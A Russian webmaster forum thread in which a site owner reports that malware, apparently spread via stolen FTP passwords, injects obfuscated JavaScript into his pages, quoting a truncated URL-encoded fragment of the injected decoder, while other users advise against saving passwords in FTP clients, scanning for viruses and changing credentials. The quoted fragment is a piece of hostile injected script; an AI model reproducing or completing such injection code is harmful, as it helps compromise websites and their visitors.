Форум Не про работу Курилка

Вирусы атакуют наши веб-сайты!

12
restall
На сайте с 24.11.2006
Offline
84
restall
1085

Добрый день!

Сижу вот уже второй час и выдераю злобные коды со своих веб страницы...

Какой-то умник написал вирус, или что там оно такое... Если я изменил один файлик на сайте(по фтп), то через пару дней, там будут все файлы заражены. В конце кода страницы вставляется код типа 

C18078%5E17951%2C1953%5E1843%2CcMQ%28%27157Bif%28owO%5BRIc%5D%3D%3DZBM%29break%3B%7D%20Drg+%3DString.fromCharCode%28pzP%5BRIc%5D%5E170%29%3B%7Dfunction%20cMQ%28Mag%29%7Breturn%20parseInt%28Mag%29%7Ddocument.write%28Drg%29%3B%7D%0Acatch%28e%29%7B%7D%3C/script%3E"))</script><!--[/O]-->
Вот что-то типа этого, ясно что это просто вырезаный кусочек... Люди, может кто встречался с этой хренью, и знает как с ним боротся?! Просто сидеть и править по 200 файлов как-то задрало...

ЗЫ: Есть нескоько сайтов на народе, так НАРОД грозиться закрыть их, и покаызывает, мол "infected with VBS.PackFor"...

Спасибо...

Качественные площадки для Ваших статей! (/ru/forum/comment/7404279)
Hartamon
На сайте с 04.07.2006
Offline
165
Hartamon
#1

Не храните пароли менеджерах ftp

iBBi
На сайте с 13.02.2007
Offline
328
iBBi
#2

уже куча тем на форуме про ето.

Не храним пароли в ftp менеджере (особено тотал командер)

AM
На сайте с 09.01.2007
Offline
467
AndyM
#3

Сначала свою машину проверьте а то процесс лечения превратиться в карусель. Пароли ведь скорее всего с вашей машины увели.

restall
На сайте с 24.11.2006
Offline
84
restall
#4

Сенкс, людоньки... Просто достало уже капец просто как... Еще раз сенкс!

ЗЫ: Извините, за еще одну тему...

B
На сайте с 03.07.2007
Offline
1
brtnks
#5

А еще по возможности - меняй пароли!

Independence
На сайте с 29.10.2005
Offline
428
Independence
#6

Пароли также могли и у компании украсть. Про это тоже куча топиков было в разделе хостинг вроде. V**host, A**va отметились и еще кто-то..

S
На сайте с 28.10.2005
Offline
319
semenov
#7
Independence:
Пароли также могли и у компании украсть. Про это тоже куча топиков было в разделе хостинг вроде. V**host, A**va отметились и еще кто-то..

А разве они не хеши паролей хранят?

[Удален]
#8

Хе-хе, а движок то небось сайтов - нуленый? :) Вот и беды оттуда.

BadBoy
На сайте с 31.01.2005
Offline
308
BadBoy
#9
iBBi:
особено тотал командер

Это не важно какой клиент.

Пользуйтесь mozilla и не храните пароли

http://ocokin.ru/2007/05/02/vnimanie_ftp_virus_prodolzhaet_ataku_serverov.html

http://ocokin.ru/2007/05/05/vnimanie_ftp_virus_prodolzhaet_ataku_serverov_chast_vtoraja_spustja_3_dnja.html

W
На сайте с 30.07.2006
Offline
55
webmastak
#10

Почистите свой комьпютер всеми возможными антивирусами и программами, замените все пароли и попросите хостера сделать бэкап

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий